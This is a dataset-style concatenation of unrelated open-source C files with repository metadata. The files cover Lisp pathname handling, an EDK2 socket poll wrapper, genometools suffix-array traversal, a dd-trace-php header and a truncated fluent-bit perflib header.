return pathname_designator_alloc_(ptr, pos, ret, 1);
}
/*
* physical-pathname
*/
int physical_pathname_alloc_(Execute ptr, addr pos, addr *ret, int localp)
{
int check;
LocalRoot local;
addr host, list, left, right, value;
/* physical pathname */
local = localp? ptr->local: NULL;
Return(pathname_designator_alloc_(ptr, pos, &pos, localp));
if (! RefLogicalPathname(pos)) {
copylocal_object(local, ret, pos);
return 0;
}
/* logical pathname */
GetHostPathname(pos, &host);
Return(gethost_logical_pathname_(host, &list));
if (list == Nil)
return fmte_("The logical-hostname ~S is not exist.", host, NULL);
while (list != Nil) {
GetCons(list, &right, &list);
List_bind(right, &left, &value, NULL);
Return(wildcard_pathname_(pos, left, 1, &check));
if (check) {
Return(translate_pathname_alloc_(ptr, &pos, pos, left, value, localp));
return physical_pathname_alloc_(ptr, pos, ret, localp);
}
}
return fmte_("The logical-pathname ~S don't match translate table.", pos, NULL);
}
int physical_pathname_heap_(Execute ptr, addr pos, addr *ret)
{
return physical_pathname_alloc_(ptr, pos, ret, 0);
}
int physical_pathname_local_(Execute ptr, addr pos, addr *ret)
{
return physical_pathname_alloc_(ptr, pos, ret, 1);
}
/*
* file-namestring
*/
static int file_namestring_filename_(LocalpRoot local, addr pos, addr queue)
{
LocalRoot alloc;
addr right, wild;
/* name */
alloc = local->local;
GetConst(KEYWORD_WILD, &wild);
GetNamePathname(pos, &right);
if (right != Nil) {
if (right == wild) {
Return(pushchar_charqueue_local_(alloc, queue, "*"));
}
else if (right != Nil) {
Return(pushstring_charqueue_local_(alloc, queue, right));
}
}
/* type */
GetTypePathname(pos, &right);
if (right != Nil) {
Return(push_charqueue_local_(alloc, queue, '.'));
if (right == wild) {
Return(pushchar_charqueue_local_(alloc, queue, "*"));
}
else {
Return(pushstring_charqueue_local_(alloc, queue, right));
}
}
return 0;
}
static int file_pathname_namestring_(LocalpRoot local, addr *ret, addr pos)
{
addr host, queue;
GetHostPathname(pos, &host);
if (! pathname_system_unix_p(host) && ! pathname_system_windows_p(host))
return fmte_("Unknown pathname-host ~S.", host, NULL);
charqueue_local(local->local, &queue, 0);
Return(file_namestring_filename_(local, pos, queue));
make_charqueue_alloc(localp_alloc(local), queue, ret);
return 0;
}
static int logical_namestring_version_(LocalpRoot local, addr queue, addr right)
{
LocalRoot alloc;
addr wild, newest;
alloc = local->local;
/* nil */
if (right == Nil)
return 0;
/* newest */
GetConst(KEYWORD_NEWEST, &newest);
if (right == newest)
return 0;
/* others */
Return(push_charqueue_local_(alloc, queue, '.'));
GetConst(KEYWORD_WILD, &wild);
if (right == wild)
return pushchar_charqueue_local_(alloc, queue, "*");
else if (integerp(right))
return decimal_charqueue_integer_local_(alloc, right, queue);
else
return fmte_("Invalid version value ~S.", right, NULL);
}
static int file_logical_namestring_(LocalpRoot local, addr *ret, addr pos)
{
addr queue, right;
charqueue_local(local->local, &queue, 0);
Return(file_namestring_filename_(local, pos, queue));
GetVersionPathname(pos, &right);
if (right != Nil) {
Return(logical_namestring_version_(local, queue, right));
}
make_charqueue_alloc(localp_alloc(local), queue, ret);
return 0;
}
static int file_name_pathname_alloc_(LocalpRoot local, addr pos, addr *ret)
{
LocalStack stack;
push_localp(local, &stack);
if (RefLogicalPathname(pos)) {
Return(file_logical_namestring_(local, ret, pos));
}
else {
Return(file_pathname_namestring_(local, ret, pos));
}
rollback_localp(local, stack);
return 0;
}
int file_name_pathname_heap_(LocalRoot local, addr pos, addr *ret)
{
struct localp_struct buffer;
Check(local == NULL, "local error");
buffer.localp = 0;
buffer.local = local;
return file_name_pathname_alloc_(&buffer, pos, ret);
}
int file_name_pathname_local_(LocalRoot local, addr pos, addr *ret)
{
struct localp_struct buffer;
Check(local == NULL, "local error");
buffer.localp = 1;
buffer.local = local;
return file_name_pathname_alloc_(&buffer, pos, ret);
}
/*
* directory-namestring
*/
static int directory_namestring_filename_(LocalpRoot local,
addr pos, addr queue, unicode split, int logicalp)
{
LocalRoot alloc;
addr left, right, absolute, relative, wild, wildi, up;
alloc = local->local;
GetConst(KEYWORD_ABSOLUTE, &absolute);
GetConst(KEYWORD_RELATIVE, &relative);
GetConst(KEYWORD_WILD, &wild);
GetConst(KEYWORD_WILD_INFERIORS, &wildi);
GetConst(KEYWORD_UP, &up);
/* nil */
GetDirectoryPathname(pos, &right);
if (right == Nil) {
if (logicalp) {
Return(push_charqueue_local_(alloc, queue, split));
}
return 0;
}
/* cons */
if (! consp(right))
return fmte_("Invalid directory ~S.", right, NULL);
GetCons(right, &left, &right);
if (left == absolute) {
if (! logicalp) {
Return(push_charqueue_local_(alloc, queue, split));
}
}
else if (left == relative) {
if (logicalp) {
Return(push_charqueue_local_(alloc, queue, split));
}
}
else {
return fmte_("Invalid directory type ~S.", left, NULL);
}
while (right != Nil) {
GetCons(right, &left, &right);
if (left == wild) {
Return(pushchar_charqueue_local_(alloc, queue, "*"));
}
else if (left == wildi) {
Return(pushchar_charqueue_local_(alloc, queue, "**"));
}
else if (left == up) {
Return(pushchar_charqueue_local_(alloc, queue, ".."));
}
else {
Return(pushstring_charqueue_local_(alloc, queue, left));
}
Return(push_charqueue_local_(alloc, queue, split));
}
return 0;
}
static int directory_pathname_namestring_(LocalpRoot local, addr *ret, addr pos)
{
addr host, queue;
charqueue_local(local->local, &queue, 0);
GetHostPathname(pos, &host);
if (pathname_system_unix_p(host)) {
Return(directory_namestring_filename_(local, pos, queue, '/', 0));
}
else if (pathname_system_windows_p(host)) {
Return(directory_namestring_filename_(local, pos, queue, '\\', 0));
}
else {
return fmte_("Unknown pathname-host ~S.", host, NULL);
}
make_charqueue_alloc(localp_alloc(local), queue, ret);
return 0;
}
static int directory_logical_namestring_(LocalpRoot local, addr *ret, addr pos)
{
addr queue;
charqueue_local(local->local, &queue, 0);
Return(directory_namestring_filename_(local, pos, queue, ';', 1));
make_charqueue_alloc(localp_alloc(local), queue, ret);
return 0;
}
static int directory_name_pathname_alloc_(LocalpRoot local, addr pos, addr *ret)
{
LocalStack stack;
push_localp(local, &stack);
if (RefLogicalPathname(pos)) {
Return(directory_logical_namestring_(local, ret, pos));
}
else {
Return(directory_pathname_namestring_(local, ret, pos));
}
rollback_localp(local, stack);
return 0;
}
int directory_name_pathname_heap_(LocalRoot local, addr pos, addr *ret)
{
struct localp_struct buffer;
Check(local == NULL, "local error");
buffer.localp = 0;
buffer.local = local;
return directory_name_pathname_alloc_(&buffer, pos, ret);
}
int directory_name_pathname_local_(LocalRoot local, addr pos, addr *ret)
{
struct localp_struct buffer;
Check(local == NULL, "local error");
buffer.localp = 1;
buffer.local = local;
return directory_name_pathname_alloc_(&buffer, pos, ret);
}
/*
* namestring
*/
static int namestring_filename_(LocalpRoot local,
addr pos, addr queue, unicode split, int logicalp)
{
Return(directory_namestring_filename_(local, pos, queue, split, logicalp));
return file_namestring_filename_(local, pos, queue);
}
static int namestring_unix_(LocalpRoot local, addr *ret, addr pos)
{
addr queue;
charqueue_local(local->local, &queue, 0);
Return(namestring_filename_(local, pos, queue, '/', 0));
make_charqueue_alloc(localp_alloc(local), queue, ret);
return 0;
}
static int namestring_windows_(LocalpRoot local, addr *ret, addr pos)
{
LocalRoot alloc;
addr device, queue, universal, file, check;
alloc = local->local;
GetConst(SYSTEM_UNIVERSAL, &universal);
GetConst(SYSTEM_DEVICE, &file);
GetDevicePathname(pos, &device);
charqueue_local(alloc, &queue, 0);
if (device == universal) {
Return(push_charqueue_local_(alloc, queue, '\\'));
Return(namestring_filename_(local, pos, queue, '\\', 0));
}
else if (device == file) {
Return(push_charqueue_local_(alloc, queue, '\\'));
Return(push_charqueue_local_(alloc, queue, '\\'));
Return(push_charqueue_local_(alloc, queue, '.'));
Return(push_charqueue_local_(alloc, queue, '\\'));
GetNamePathname(pos, &check);
if (check != Nil) {
Return(pushstring_charqueue_local_(alloc, queue, check));
}
}
else if (device != Nil) {
Return(pushstring_charqueue_local_(alloc, queue, device));
Return(push_charqueue_local_(alloc, queue, ':'));
Return(namestring_filename_(local, pos, queue, '\\', 0));
}
else {
Return(namestring_filename_(local, pos, queue, '\\', 0));
}
make_charqueue_alloc(localp_alloc(local), queue, ret);
return 0;
}
static int pathname_namestring_(LocalpRoot local, addr *ret, addr pos)
{
addr host;
GetHostPathname(pos, &host);
if (pathname_system_unix_p(host))
return namestring_unix_(local, ret, pos);
else if (pathname_system_windows_p(host))
return namestring_windows_(local, ret, pos);
else
return fmte_("Unknown pathname-host ~S.", host, NULL);
}
static int logical_namestring_(LocalpRoot local, addr *ret, addr pos)
{
LocalRoot alloc;
addr queue, right;
alloc = local->local;
charqueue_local(alloc, &queue, 0);
/* host */
GetHostPathname(pos, &right);
Return(pushstring_charqueue_local_(alloc, queue, right));
Return(pushchar_charqueue_local_(alloc, queue, ":"));
/* directory, name, type */
Return(namestring_filename_(local, pos, queue, ';', 1));
/* version */
GetVersionPathname(pos, &right);
if (right != Nil) {
Return(logical_namestring_version_(local, queue, right));
}
/* result */
make_charqueue_alloc(localp_alloc(local), queue, ret);
return 0;
}
static int name_pathname_alloc_(Execute ptr, LocalpRoot local, addr pos, addr *ret)
{
LocalStack stack;
push_localp(local, &stack);
Return(pathname_designator_alloc_(ptr, pos, &pos, local->localp));
if (RefLogicalPathname(pos)) {
Return(logical_namestring_(local, ret, pos));
}
else {
Return(pathname_namestring_(local, ret, pos));
}
rollback_localp(local, stack);
return 0;
}
int name_pathname_heap_(Execute ptr, addr pos, addr *ret)
{
struct localp_struct buffer;
buffer.localp = 0;
buffer.local = ptr->local;
return name_pathname_alloc_(ptr, &buffer, pos, ret);
}
int name_pathname_local_(Execute ptr, addr pos, addr *ret)
{
struct localp_struct buffer;
buffer.localp = 1;
buffer.local = ptr->local;
return name_pathname_alloc_(ptr, &buffer, pos, ret);
}
int name_physical_heap_(Execute ptr, addr pos, addr *ret)
{
LocalRoot local;
LocalStack stack;
local = Local_Thread;
push_local(local, &stack);
Return(physical_pathname_local_(ptr, pos, &pos));
Return(name_pathname_heap_(ptr, pos, ret));
rollback_local(local, stack);
return 0;
}
int name_physical_local_(Execute ptr, addr pos, addr *ret)
{
Return(physical_pathname_local_(ptr, pos, &pos));
return name_pathname_local_(ptr, pos, ret);
}
/*
* merge-pathnames
*/
static void list_merge_directory(addr pos, addr defpath, addr *ret)
{
addr cons, left;
cons = Nil;
while (defpath != Nil) {
GetCons(defpath, &left, &defpath);
cons_heap(&cons, left, cons);
}
while (pos != Nil) {
GetCons(pos, &left, &pos);
cons_heap(&cons, left, cons);
}
nreverse(ret, cons);
}
static int check_merge_directory(addr pos, addr defpath)
{
addr relative;
if (consp(pos) && consp(defpath)) {
GetCar(pos, &pos);
GetConst(KEYWORD_RELATIVE, &relative);
return pos == relative;
}
return 0;
}
static void merge_directory(addr pos, addr defpath, addr *ret)
{
if (check_merge_directory(pos, defpath)) {
GetCdr(pos, &pos);
list_merge_directory(pos, defpath, ret);
}
else if (pos == Nil) {
*ret = defpath;
}
else {
*ret = pos;
}
}
static void merge_pathname_array(addr pos,
enum PATHNAME_INDEX type, addr defpath, addr *ret)
{
GetArrayPathname(pos, type, &pos);
if (pos == Nil) {
GetArrayPathname(defpath, type, ret);
}
else {
*ret = pos;
}
}
static void merge_pathname_object(addr pos, addr defaults, addr defver, addr *ret)
{
addr check1, check2;
addr host, device, directory, name, type, version;
host = device = directory = name = type = version = Nil;
/* If pathname does not specify a host, device, directory, name, or type,
* each such component is copied from default-pathname.
*/
merge_pathname_array(pos, PATHNAME_INDEX_HOST, defaults, &host);
merge_pathname_array(pos, PATHNAME_INDEX_DEVICE, defaults, &device);
merge_pathname_array(pos, PATHNAME_INDEX_NAME, defaults, &name);
merge_pathname_array(pos, PATHNAME_INDEX_TYPE, defaults, &type);
GetVersionPathname(pos, &version);
/* If no version is supplied, default-version is used.
* If default-version is nil, the version component will remain unchanged.
*/
if (version == Nil)
version = defver;
/* If pathname does not specify a name, then the version, if not provided,
* will come from default-pathname, just like the other components.
*/
GetNamePathname(pos, &check1);
if (check1 == Nil && version == Nil)
GetVersionPathname(defaults, &version);
/* If pathname does specify a name, then the version is not affected
* by default-pathname.
*/
if (check1 != Nil)
GetVersionPathname(pos, &version);
/* If this process leaves the version missing, the default-version is used. */
if (version == Nil)
version = defver;
/* directory */
GetDirectoryPathname(pos, &check1);
GetDirectoryPathname(defaults, &check2);
merge_directory(check1, check2, &directory);
/* make pathname */
if (RefLogicalPathname(pos))
logical_pathname_heap(ret, host, directory, name, type, version);
else
pathname_heap(ret, host, device, directory, name, type);
}
int merge_pathnames_clang_(Execute ptr,
addr pos, addr defaults, addr defver, addr *ret)
{
addr host;
/* logical-pathname namestring */
Return(defaults_pathname_heap_(ptr, &defaults, defaults));
if (stringp(pos) && RefLogicalPathname(defaults)) {
GetHostPathname(pos, &host);
Return(parse_pathname_host_heap_(ptr, pos, host, &pos));
}
Return(pathname_designator_heap_(ptr, pos, &pos));
/* version */
if (defver == Unbound)
defver = Nil;
/* merge */
merge_pathname_object(pos, defaults, defver, ret);
return 0;
}
/*
* initialize
*/
void build_pathname(void)
{
build_pathname_translate();
}
|
08284860acd616e086231a4811c7dd003b090ac9
|
50dd46b8ece33f3cdd174284b15d1d51f89669d4
|
/third_party/edk2/StdLib/BsdSocketLib/poll.c
|
06a1b20973531b98a38544ca8f42f712abc509e7
|
[
"LicenseRef-scancode-generic-cla",
"Apache-2.0",
"BSD-2-Clause",
"OpenSSL"
] |
permissive
|
google/google-ctf
|
f99da1ee07729bbccb869fff1cbaed6a80e43bcc
|
df02323eaf945d15e124801c74abaadca2749dc7
|
refs/heads/master
| 2023-08-31T14:30:27.548081
| 2023-08-29T13:04:20
| 2023-08-29T13:04:20
| 131,317,137
| 4,136
| 607
|
Apache-2.0
| 2023-08-30T22:17:02
| 2018-04-27T15:56:03
|
Go
|
UTF-8
|
C
| false
| false
| 1,419
|
c
|
poll.c
|
/** @file
Implement the poll API.
Copyright (c) 2011 - 2014, Intel Corporation. All rights reserved.<BR>
This program and the accompanying materials are licensed and made available under
the terms and conditions of the BSD License that accompanies this distribution.
The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php.
THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
**/
#include <SocketInternals.h>
/** Poll the socket for activity
@param [in] pDescriptor Descriptor address for the file
@param [in] Events Mask of events to detect
@return Detected events for the socket
**/
short
EFIAPI
BslSocketPoll (
IN struct __filedes * pDescriptor,
IN short Events
)
{
short DetectedEvents;
EFI_SOCKET_PROTOCOL * pSocketProtocol;
// Locate the socket protocol
DetectedEvents = 0;
pSocketProtocol = BslValidateSocketFd ( pDescriptor, &errno );
if ( NULL != pSocketProtocol ) {
// Poll the socket
(void) pSocketProtocol->pfnPoll ( pSocketProtocol,
Events,
&DetectedEvents,
&errno );
}
// Return the detected events
return DetectedEvents;
}
|
821350dfed05d755c710060b89df8195ca3b85c8
|
3bd385b466cb035fecd2b0c11ae054d42bf44fc2
|
/src/match/esa-bottomup.c
|
afae94f05070d5f9b12faa2dbaf8c726fb814949
|
[
"LicenseRef-scancode-unknown-license-reference",
"ISC",
"BSD-2-Clause",
"LicenseRef-scancode-mit-old-style",
"Zlib",
"MIT",
"BSD-3-Clause",
"bzip2-1.0.6"
] |
permissive
|
genometools/genometools
|
c366dff04f6baa887f6b3be3ec55bce824b2bae1
|
df1df94b8c05a9c9bf848ffc6755c87b58573da5
|
refs/heads/master
| 2023-04-13T13:57:18.748796
| 2023-04-09T21:29:53
| 2023-04-09T21:29:53
| 11,177,980
| 237
| 63
|
NOASSERTION
| 2023-04-09T21:29:54
| 2013-07-04T13:39:38
|
C
|
UTF-8
|
C
| false
| false
| 14,988
|
c
|
esa-bottomup.c
|
/*
Copyright (c) 2011 Stefan Kurtz <kurtz@zbh.uni-hamburg.de>
Copyright (c) 2011 Sascha Steinbiss <steinbiss@zbh.uni-hamburg.de>
Copyright (c) 2011 Center for Bioinformatics, University of Hamburg
Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <limits.h>
#include "core/ma_api.h"
#include "esa-bottomup.h"
#include "esa-seqread.h"
#include "esa_visitor.h"
#define TOP_ESA_BOTTOMUP\
stack->spaceGtBUItvinfo[stack->nextfreeGtBUItvinfo-1]
#define POP_ESA_BOTTOMUP\
(stack->spaceGtBUItvinfo + (--stack->nextfreeGtBUItvinfo))
#define PUSH_ESA_BOTTOMUP(LCP,LB)\
if (stack->nextfreeGtBUItvinfo >= stack->allocatedGtBUItvinfo)\
{\
gt_assert(stack->nextfreeGtBUItvinfo == stack->allocatedGtBUItvinfo);\
stack->spaceGtBUItvinfo\
= allocateBUstack(stack->spaceGtBUItvinfo,\
stack->allocatedGtBUItvinfo,\
stack->allocatedGtBUItvinfo+incrementstacksize,\
ev);\
stack->allocatedGtBUItvinfo += incrementstacksize;\
}\
gt_assert(stack->spaceGtBUItvinfo != NULL);\
stack->spaceGtBUItvinfo[stack->nextfreeGtBUItvinfo].lcp = LCP;\
stack->spaceGtBUItvinfo[stack->nextfreeGtBUItvinfo].lb = LB;\
stack->spaceGtBUItvinfo[stack->nextfreeGtBUItvinfo].rb = ULONG_MAX;\
stack->nextfreeGtBUItvinfo++
typedef struct
{
GtUword lcp, lb, rb;
GtESAVisitorInfo *info;
} GtBUItvinfo;
struct GtArrayGtBUItvinfo
{
GtBUItvinfo *spaceGtBUItvinfo;
GtUword allocatedGtBUItvinfo,
nextfreeGtBUItvinfo;
};
GtArrayGtBUItvinfo *gt_GtArrayGtBUItvinfo_new(void)
{
GtArrayGtBUItvinfo *stack = gt_malloc(sizeof (*stack));
stack->spaceGtBUItvinfo = NULL;
stack->allocatedGtBUItvinfo = stack->nextfreeGtBUItvinfo = 0;
return stack;
}
void gt_GtArrayGtBUItvinfo_delete(GtArrayGtBUItvinfo *stack,
GtESAVisitor *ev)
{
GtUword idx;
for (idx=0; idx<stack->allocatedGtBUItvinfo; idx++)
{
gt_esa_visitor_info_delete(stack->spaceGtBUItvinfo[idx].info, ev);
}
gt_free(stack->spaceGtBUItvinfo);
gt_free(stack);
}
#ifdef SKDEBUG
static void showstack(const GtBUItvinfo *stackspace,
GtUword nextfreeItvinfo)
{
GtUword idx;
for (idx=0; idx<nextfreeItvinfo; idx++)
{
printf("# stack "GT_WU": lcp="GT_WU",lb="GT_WU"\n",
idx,
stackspace[idx].lcp,
stackspace[idx].lb);
}
}
#endif
static GtBUItvinfo *allocateBUstack(GtBUItvinfo *ptr,
GtUword currentallocated,
GtUword allocated,
GtESAVisitor *ev)
{
GtUword idx;
GtBUItvinfo *itvinfo;
itvinfo = gt_realloc(ptr,sizeof (*itvinfo) * allocated);
gt_assert(allocated > currentallocated);
for (idx=currentallocated; idx<allocated; idx++)
{
itvinfo[idx].info = gt_esa_visitor_info_new(ev);
}
gt_assert(itvinfo != NULL);
return itvinfo;
}
int gt_esa_bottomup(Sequentialsuffixarrayreader *ssar,
GtESAVisitor *ev,
GtError *err)
{
const GtUword incrementstacksize = 32UL;
GtUword lcpvalue,
previoussuffix = 0,
idx,
nonspecials,
lastsuftabvalue = 0;
GtBUItvinfo *lastinterval = NULL;
bool haserr = false, firstedge, firstedgefromroot = true;
GtArrayGtBUItvinfo *stack;
stack = gt_GtArrayGtBUItvinfo_new();
PUSH_ESA_BOTTOMUP(0,0);
nonspecials = gt_Sequentialsuffixarrayreader_nonspecials(ssar);
for (idx = 0; idx < nonspecials; idx++)
{
SSAR_NEXTSEQUENTIALLCPTABVALUEWITHLAST(lcpvalue,lastsuftabvalue,ssar);
SSAR_NEXTSEQUENTIALSUFTABVALUE(previoussuffix,ssar);
if (lcpvalue <= TOP_ESA_BOTTOMUP.lcp)
{
if (TOP_ESA_BOTTOMUP.lcp > 0 || !firstedgefromroot)
{
firstedge = false;
} else
{
firstedge = true;
firstedgefromroot = false;
}
if (gt_esa_visitor_visit_leaf_edge(ev,
firstedge,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.info,
previoussuffix,
err) != 0)
{
haserr = true;
break;
}
}
gt_assert(lastinterval == NULL);
while (lcpvalue < TOP_ESA_BOTTOMUP.lcp)
{
lastinterval = POP_ESA_BOTTOMUP;
lastinterval->rb = idx;
if (gt_esa_visitor_visit_lcp_interval(ev,
lastinterval->lcp,
lastinterval->lb,
lastinterval->rb,
lastinterval->info,
err) != 0)
{
haserr = true;
break;
}
if (lcpvalue <= TOP_ESA_BOTTOMUP.lcp)
{
if (TOP_ESA_BOTTOMUP.lcp > 0 || !firstedgefromroot)
{
firstedge = false;
} else
{
firstedge = true;
firstedgefromroot = false;
}
if (gt_esa_visitor_visit_branching_edge(ev,
firstedge,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.info,
lastinterval->lcp,
lastinterval->lb,
lastinterval->rb,
lastinterval->info,
err) != 0)
{
haserr = true;
break;
}
lastinterval = NULL;
}
}
if (haserr)
{
break;
}
if (lcpvalue > TOP_ESA_BOTTOMUP.lcp)
{
if (lastinterval != NULL)
{
GtUword lastintervallcp = lastinterval->lcp,
lastintervallb = lastinterval->lb,
lastintervalrb = lastinterval->rb;
PUSH_ESA_BOTTOMUP(lcpvalue,lastintervallb);
if (gt_esa_visitor_visit_branching_edge(ev,
true,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.info,
lastintervallcp,
lastintervallb,
lastintervalrb,
NULL,
err) != 0)
{
haserr = true;
break;
}
lastinterval = NULL;
} else
{
PUSH_ESA_BOTTOMUP(lcpvalue,idx);
if (gt_esa_visitor_visit_leaf_edge(ev,
true,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.info,
previoussuffix,
err) != 0)
{
haserr = true;
break;
}
}
}
}
gt_assert(stack->nextfreeGtBUItvinfo > 0);
if (!haserr && TOP_ESA_BOTTOMUP.lcp > 0)
{
if (gt_esa_visitor_visit_leaf_edge(ev,
false,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.info,
lastsuftabvalue,
err) != 0)
{
haserr = true;
} else
{
TOP_ESA_BOTTOMUP.rb = idx;
if (gt_esa_visitor_visit_lcp_interval(ev,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.rb,
TOP_ESA_BOTTOMUP.info,
err) != 0)
{
haserr = true;
}
}
}
gt_GtArrayGtBUItvinfo_delete(stack, ev);
return haserr ? -1 : 0;
}
int gt_esa_bottomup_RAM(const GtUword *suftab,
const uint16_t *lcptab_bucket,
GtUword nonspecials,
GtArrayGtBUItvinfo *stack,
GtESAVisitor *ev,
GtError *err)
{
const GtUword incrementstacksize = 32UL;
GtUword lcpvalue,
previoussuffix = 0,
idx;
GtBUItvinfo *lastinterval = NULL;
bool haserr = false, firstedge, firstedgefromroot = true;
gt_assert(nonspecials > 0);
PUSH_ESA_BOTTOMUP(0,0);
for (idx = 0; idx < nonspecials-1; idx++)
{
lcpvalue = (GtUword) lcptab_bucket[idx+1];
previoussuffix = suftab[idx];
if (lcpvalue <= TOP_ESA_BOTTOMUP.lcp)
{
if (TOP_ESA_BOTTOMUP.lcp > 0 || !firstedgefromroot)
{
firstedge = false;
} else
{
firstedge = true;
firstedgefromroot = false;
}
if (gt_esa_visitor_visit_leaf_edge(ev,
firstedge,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.info,
previoussuffix,
err) != 0)
{
haserr = true;
break;
}
}
gt_assert(lastinterval == NULL);
while (lcpvalue < TOP_ESA_BOTTOMUP.lcp)
{
lastinterval = POP_ESA_BOTTOMUP;
lastinterval->rb = idx;
if (gt_esa_visitor_visit_lcp_interval(ev,
lastinterval->lcp,
lastinterval->lb,
lastinterval->rb,
lastinterval->info,
err) != 0)
{
haserr = true;
break;
}
if (lcpvalue <= TOP_ESA_BOTTOMUP.lcp)
{
if (TOP_ESA_BOTTOMUP.lcp > 0 || !firstedgefromroot)
{
firstedge = false;
} else
{
firstedge = true;
firstedgefromroot = false;
}
if (gt_esa_visitor_visit_branching_edge(ev,
firstedge,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.info,
lastinterval->lcp,
lastinterval->lb,
lastinterval->rb,
lastinterval->info,
err) != 0)
{
haserr = true;
break;
}
lastinterval = NULL;
}
}
if (haserr)
{
break;
}
if (lcpvalue > TOP_ESA_BOTTOMUP.lcp)
{
if (lastinterval != NULL)
{
GtUword lastintervallcp = lastinterval->lcp,
lastintervallb = lastinterval->lb,
lastintervalrb = lastinterval->rb;
PUSH_ESA_BOTTOMUP(lcpvalue,lastintervallb);
if (gt_esa_visitor_visit_branching_edge(ev,
true,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.info,
lastintervallcp,
lastintervallb,
lastintervalrb,
NULL,
err) != 0)
{
haserr = true;
break;
}
lastinterval = NULL;
} else
{
PUSH_ESA_BOTTOMUP(lcpvalue,idx);
if (gt_esa_visitor_visit_leaf_edge(ev,
true,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.info,
previoussuffix,
err) != 0)
{
haserr = true;
break;
}
}
}
}
gt_assert(stack->nextfreeGtBUItvinfo > 0);
if (!haserr && TOP_ESA_BOTTOMUP.lcp > 0)
{
GtUword lastsuftabvalue = suftab[nonspecials-1];
if (gt_esa_visitor_visit_leaf_edge(ev,
false,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.info,
lastsuftabvalue,
err) != 0)
{
haserr = true;
} else
{
TOP_ESA_BOTTOMUP.rb = idx;
if (gt_esa_visitor_visit_lcp_interval(ev,
TOP_ESA_BOTTOMUP.lcp,
TOP_ESA_BOTTOMUP.lb,
TOP_ESA_BOTTOMUP.rb,
TOP_ESA_BOTTOMUP.info,
err) != 0)
{
haserr = true;
}
}
}
stack->nextfreeGtBUItvinfo = 0; /* empty the stack */
return haserr ? -1 : 0;
}
|
7a93555501b1c5630e234b66be53eb9dffacfa03
|
4cd1537b92864ee108def7886aafc0f924f97c0f
|
/ext/handlers_exception.h
|
575b33782632fce465714e941a338f94f7983281
|
[
"Apache-2.0",
"BSD-3-Clause"
] |
permissive
|
DataDog/dd-trace-php
|
68f08674208ef9ec1c874e3eabd7b88f1d6dd5dd
|
014989e42bfa5919f451cee3ae2b57cc35bdee9b
|
refs/heads/master
| 2023-09-01T15:36:22.838634
| 2023-09-01T13:17:02
| 2023-09-01T13:17:02
| 119,990,860
| 363
| 166
|
NOASSERTION
| 2023-09-13T16:09:22
| 2018-02-02T14:21:54
|
PHP
|
UTF-8
|
C
| false
| false
| 183
|
h
|
handlers_exception.h
|
#ifndef DDTRACE_HANDLERS_EXCEPTION_H
#define DDTRACE_HANDLERS_EXCEPTION_H
#include "php.h"
zend_object *ddtrace_find_active_exception(void);
#endif // DDTRACE_HANDLERS_EXCEPTION_H
|
082d1a3eba8eddf6af1a54c987a89c54f4a0643c
|
f367e4b66a1ee42e85830b31df88f63723c36a47
|
/plugins/in_windows_exporter_metrics/we_perflib.h
|
46059bb8df7e08e294d6b437c59420b3b9b1b9a4
|
[
"Apache-2.0"
] |
permissive
|
fluent/fluent-bit
|
06873e441162b92941024e9a7e9e8fc934150bf7
|
1a41f49dc2f3ae31a780caa9ffd6137b1d703065
|
refs/heads/master
| 2023-09-05T13:44:55.347372
| 2023-09-05T10:14:33
| 2023-09-05T10:14:33
| 29,933,948
| 4,907
| 1,565
|
Apache-2.0
| 2023-09-14T10:17:02
| 2015-01-27T20:41:52
|
C
|
UTF-8
|
C
| false
| false
| 2,945
|
h
|
we_perflib.h
|
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/* Fluent Bit
* ==========
* Copyright (C) 2019-2021 The Fluent Bit Authors
* Copyright (C) 2015-2018 Treasure Data Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef FLB_WE_PERFLIB_H
#define FLB_WE_PERFLIB_H
#include "we.h"
#include "we_metric.h"
#define WE_PERFLIB_REGISTRY_PATH \
